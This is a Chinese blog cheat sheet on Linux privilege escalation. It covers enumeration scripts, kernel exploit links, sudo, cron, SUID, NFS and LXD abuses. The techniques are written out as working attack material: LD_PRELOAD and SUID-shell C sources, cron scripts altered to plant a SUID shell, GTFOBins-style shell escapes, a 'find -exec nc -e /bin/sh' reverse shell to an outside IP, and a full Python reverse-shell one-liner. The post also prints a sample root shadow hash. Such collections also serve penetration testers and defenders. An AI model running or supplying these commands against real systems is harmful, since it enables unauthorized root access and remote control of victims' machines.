美文网首页
Linux提权小结

Linux提权小结

作者: book4yi | 来源:发表于2020-06-22 20:40 被阅读0次

    privilege-escalation-awesome-scripts-suite(已导入码云):

    https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS

    辅助提权脚本:

    linux-smart-enumeration
    常用命令:

    wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
    curl "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -Lo lse.sh;chmod 700 lse.sh
    

    LinEnum
    常⽤命令:

    ./LinEnum.sh -r report -e /tmp/ -t 
    

    生成的结果将导出到 /tmp/report ⽂件 如果什么都不加的话,就是输出到标准输出。
    BeRoot

    python beroot.py --password super_strong_password
    

    这个⼯具包含了GTFOBins所提到的⽂件列表,也就是说,可以检查出⼀些通过sudo运⾏即可提权的⽂件

    Pupy
    基于python的内存态后渗透利⽤框架

    软件漏洞提权:

    利用脚本地址:https://github.com/belane/linux-soft-exploit-suggester
    查找linux有哪些有漏洞的软件,通过对系统中所有易受攻击软件的利用,以帮助提升特权。它专注于软件包,而不是内核漏洞。
    利用过程:

    # Update exploit database:
    python linux-soft-exploit-suggester.py --update
    
    #Get Package List:
        debian/ubuntu: dpkg -l > package_list
        redhat/centos: rpm -qa > package_list
    
    python linux-soft-exploit-suggester.py --file package_list --db files_exploits.cve
    

    内核漏洞提权:

    利用脚本地址:https://github.com/mzet-/linux-exploit-suggester
    利用脚本地址2:https://github.com/jondonas/linux-exploit-suggester-2

    查找linux有哪些补丁没有打,该工具评估(使用启发式方法,在进行详细讨论)在每个公开的Linux内核漏洞上,给定内核的暴露程度
    结果如下:

    附上Linux平台提权漏洞集合:https://github.com/SecWiki/linux-kernel-exploits

    常见漏洞:

    1. CVE-2016-5195 (DirtyCow):(Linux Kernel <= 3.19.0-73.8)
      https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
    2. CVE-2010-3904 (RDS):(Linux Kernel <= 2.6.36-rc8)
      https://www.exploit-db.com/exploits/15285/
    3. CVE-2010-4258 (Full Nelson):(Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04))
      https://www.exploit-db.com/exploits/15704/
    4. CVE-2012-0056 (Mempodipper):(Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64))
      https://www.exploit-db.com/exploits/18411
    5. CVE-2019-13272:kernel 5.1.17之前版本中存在安全漏洞,该漏洞源于kernel/ptrace.c文件的ptrace_link没有正确处理对凭证的记录。攻击者可利用该漏洞获取root访问权限

    利用python包进行高权限用户创建:

    Python软件包允许在运行时和安装时执行任意代码
    利用脚本地址:https://github.com/mschwager/0wned
    利用过程:

    git clone https://github.com/mschwager/0wned.git
    cd 0wned
    sudo python setup.py install
    

    这里我们稍微修改下代码:

    成功读取/etc/shadow文件,这里仅提供一种思路

    在pip安装过程0wned中能够成功写入根目录!这意味着0wned可以以root用户或管理用户身份执行任何操作。

    计划任务:

    生成环境里边部署的linux系统可能有一些计划任务,一般这些任务由crontab来管理,具有所属用户的权限,非root权限的用户是不可以列出root用户的计划任务的,但是/etc/内系统的计划任务可以被列出

    默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了
    假设root调用某个脚本/tmp/te.py每分钟进行执行,非root账户对能够对文件如下修改,直接写了个反弹shell:

    检查系统中存在的cron计划任务,看看是否有权限访问和修改
    检查文件内容,看看有没有可以提权的途径
    利⽤pspy⼯具,检查命令和⽂件系统事件 ./pspy64 -pf -i 1000

    cron的⽇志⽂件存储为 /var/log/cronlog ,可以看到最近执⾏的定时任务信息。

    相关信息:
    配置文件读取路径:
    /var/spool/cron/ , 由crontab -e 进行写入,配置文件无需指定用户;用户创建的任务在对应用户名文件夹下。

    /etc/crontab ,只能root 进行编辑,配置文件需指定用户
    /etc/cron.d/ ,在此文件夹下创建定时任务文件(和 /etc/crontab 一样)
    日志保存地址: /var/log/cron ;要禁止某个用户使用,将用户名添加到 /etc/cron.deny文件中。

    明文root密码权限

    大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的

    典型的etc/passwd文件:

    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/bin/sh
    man:x:6:12:man:/var/cache/man:/bin/sh
    lp:x:7:7:lp:/var/spool/lpd:/bin/sh
    mail:x:8:8:mail:/var/mail:/bin/sh
    news:x:9:9:news:/var/spool/news:/bin/sh
    uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy:x:13:13:proxy:/bin:/bin/sh
    www-data:x:33:33:www-data:/var/www:/bin/sh
    backup:x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc:x:39:39:ircd:/var/run/ircd:/bin/sh
    nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
    ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
    syslog:x:101:103::/home/syslog:/bin/false
    sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
    

    passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面了(这样非root就看不到了)。而shadow里面最重要的就是密码的hash
    典型etc/shadow文件:

    root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
    daemon:*:15730:0:99999:7:::
    bin:*:15730:0:99999:7:::
    sys:*:15730:0:99999:7:::
    sync:*:15730:0:99999:7:::
    games:*:15730:0:99999:7:::
    man:*:15730:0:99999:7:::
    lp:*:15730:0:99999:7:::
    mail:*:15730:0:99999:7:::
    news:*:15730:0:99999:7:::
    uucp:*:15730:0:99999:7:::
    proxy:*:15730:0:99999:7:::
    www-data:*:15730:0:99999:7:::
    backup:*:15730:0:99999:7:::
    list:*:15730:0:99999:7:::
    irc:*:15730:0:99999:7:::
    gnats:*:15730:0:99999:7:::
    nobody:*:15730:0:99999:7:::
    libuuid:!:15730:0:99999:7:::
    syslog:*:15730:0:99999:7:::
    mysql:!:15730:0:99999:7:::
    dovecot:*:15730:0:99999:7:::
    sshd:*:15730:0:99999:7:::
    postfix:*:15730:0:99999:7:::
    

    如果passwd可写,我们就可以把root的密码字段(x)替换成一个已知密码的hash(比如本机shadow里面的root密码hash),这样系统在验证密码时以passwd的为准,密码就已知了。如果shadow可读,我们可以读走root的hash,然后用hashcat或者john暴力破解之。

    SUDO提权:

    利用条件:

    sudo的版本号<1.8.28
    知道当前用户的密码
    当前用户存在于sudo权限列表

    # 查看sudo版本号
    sudo -V
    

    当我们有了root密码后,ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。那如果我们有一个低权shell,找个办法再上面“输入”密码就好了。直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:

    python -c 'import pty;pty.spawn("/bin/sh")'
    

    就用python简历了一个虚拟终端,然后就可以使用sudo等等命令了:

    python -c 'import pty;pty.spawn("/bin/sh")'
    $ sudo su
    sudo su
    [sudo] password for www-data: 123456
    Sorry, try again.
    [sudo] password for www-data: 
    

    1.sudo -l :查看当前用户sudo⽀持的命令

    $ sudo -l
    User demo may run the following commands on crashlab:
       (root) NOPASSWD: /usr/bin/mysql
    

    比如以上结果列出了mysql,就可以使⽤ sudo mysql -e '\! /bin/sh' 获得⼀个特权shell, 或者 sudo -u root mysql -e '\! /bin/sh'
    最牛掰的情况:

    ignite ALL=(root) NOPASSWD: ALL
    

    user用户拥有root权限以外的所有权限!

    这里分享一种内核漏洞之外的提权手法,它的成功率非常高,并且不像内核提权那样可能导致系统挂起,它就是对系统完全无损的 sudo 误配提取手法:

    查看 home/ 目录下是否 .sudo_as_admin_successful 文件,若有则可以输入当前低权账号的密码直接 sudo su 切换为 root 用户,而在已经获取当前账号的系统环境的前提下,要拿到低权账号的密码,虽然有门槛,但也不是不可能(如,翻找各类配置文件)

    2.利⽤LD_PRELOAD:
    如果在 sudoers ⽂件(/etc/sudoers)中明确定义了LD_PRELOAD的内容:

    Defaults       env_keep += LD_PRELOAD
    

    可以使⽤以下代码,编译共享链接库

    gcc -fPIC -shared -o shell.so shell.c -nostartfiles
    
    //shell.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    void _init() {
     unsetenv("LD_PRELOAD");
     setgid(0);
     setuid(0);
     system("/bin/sh");
    }
    

    使⽤如下命令,执⾏任何⼆进制程序以获得shell:

    sudo LD_PRELOAD=<full_path_to_so_file> <program>
    #举个例子:sudo LD_PRELOAD=/tmp/shell.so find
    

    3.同时要注意其他和sudo有同样功能的程序,⽐如openBSD的 doas 命令

    # /etc/doas.conf
    # 以root用户不需要密码执行 procmap
    permit nopass tedu as root cmd /usr/sbin/procmap
    

    4.sudo_inject:
    在 /proc/sys/kernel/yama/ptrace_scope 中值为0,并且当前用户有正在使用sudo运⾏的进 程的时候,可以只用sudo_inject攻击来滥⽤当前令牌。

    计划任务:

    系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出:

    ls -l /etc/cron*
    

    默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell了。
    打个比方,管理员设置了一个计划任务,定时使用clean,py清理文件。并且设置权限如下:

    利用过程:
    我们复制了/bin/sh到/tmp下并为/tmp/sh启用了SUID。使用编辑器打开sanitizer.py并将“rm -r /tmp/*”中的内容替换为以下两行:

    os.system('cp /bin/sh /tmp/sh')
    os.system('chmod u+s /tmp/sh')
    

    一段时间后,它将在/tmp目录内创建一个具有SUID权限的sh文件,当你运行它时,你将会获取root访问权限,参考Linux持久化后门。
    或者我们也可以通过写入python反向shell连接代码。

    SUID提权:

    参考Linux持久化后门,这里列举熟知的具有提权功能的Linux可执行文件:

    1. 给程序添加suid标记: chmod +s 文件
    2. 利⽤⾃⼰的代码做⼀个suid的shell
    // filename: suid.c
    int main(void){
    setgid(0);
    setuid(0);
    system("/bin/bash");
     }
    // 或者
    int main(void){
        setresuid(0, 0, 0);
        system("/bin/sh");
    }
    

    gcc编译之后, chown root:root /tmp/suid; chmod 4777 /tmp/suid 【注意,得先把 属主改为root,之后再添加s标志】

    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp
    

    以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    
    nmap:

    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
    为了启动交互模式,可以使用Nmap参数“interactive”。

    以下命令将提供一个提权后的shell:

    nmap> !sh
    sh-3.2# whoami
    root
    

    此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

    exploit/unix/local/setuid_nmap
    
    Find命令:

    find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹

    find test -exec whoami \;
    find test -exec bash -p \;
    find test -exec /bin/sh \;(DC1就遇到bash⽆法提权,但是sh可以提权的情况)
    find test -exec nc -e /bin/sh 192.168.139.128 9999 \;
    

    py反弹命令:

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
    Vim:

    Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

    vim.tiny /etc/shadow
    

    此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

    vim.tiny
    # Press ESC key
    :set shell=/bin/sh
    :shell
    #或者:
    vim -c '!sh'
    
    Bash:
    #以root身份打开一个bash shell
    bash -p
    
    Less/More:

    程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

    less /etc/passwd
    !/bin/sh(已经设置suid的sh)
    

    NFS权限压缩:

    NFS的配置⽂件: /etc/exports
    如果`no_root_squash 出现在配置⽂件中的话,如果⽬录分享者是root,那么对于远程挂载 ⽤⼾来说,他也具有了该⽬录下root的权限。
    利用过程:
    1.查看远程主机共享的⽂件夹: showmount -e 10.10.10.10
    2.建⽴⽬录、挂载远程主机共享⽂件

    mkdir /tmp/nfsdir  
    mount -t nfs 10.10.10.10:/shared /tmp/nfsdir    
    cd /tmp/nfsdir
    

    3.恶意利用

    # copy wanted shell
    cp /bin/bash . 
    # set suid permission
    chmod +s bash
    

    LXC/LXD:

    查看用户信息的时候,用户存在在组 lxc 或者 lxd 中
    攻击机中执行:

    # build a simple alpine image
    git clone https://github.com/saghul/lxd-alpine-builder
    ./build-alpine -a i686
    

    靶机中执行:

    # import the image
    lxc image import ./alpine.tar.gz --alias myimage
    # run the image
    lxc init myimage mycontainer -c security.privileged=true
    # mount the /root into the image
    lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
    recursive=true
    # interact with the container
    lxc start mycontainer
    lxc exec mycontainer /bin/sh
    123456789
    

    参考如下:

    Linux常见提权
    关于linux权限提升的一些方法

    相关文章

      网友评论

          本文标题:Linux提权小结

          本文链接:https://www.haomeiwen.com/subject/vkgxfktx.html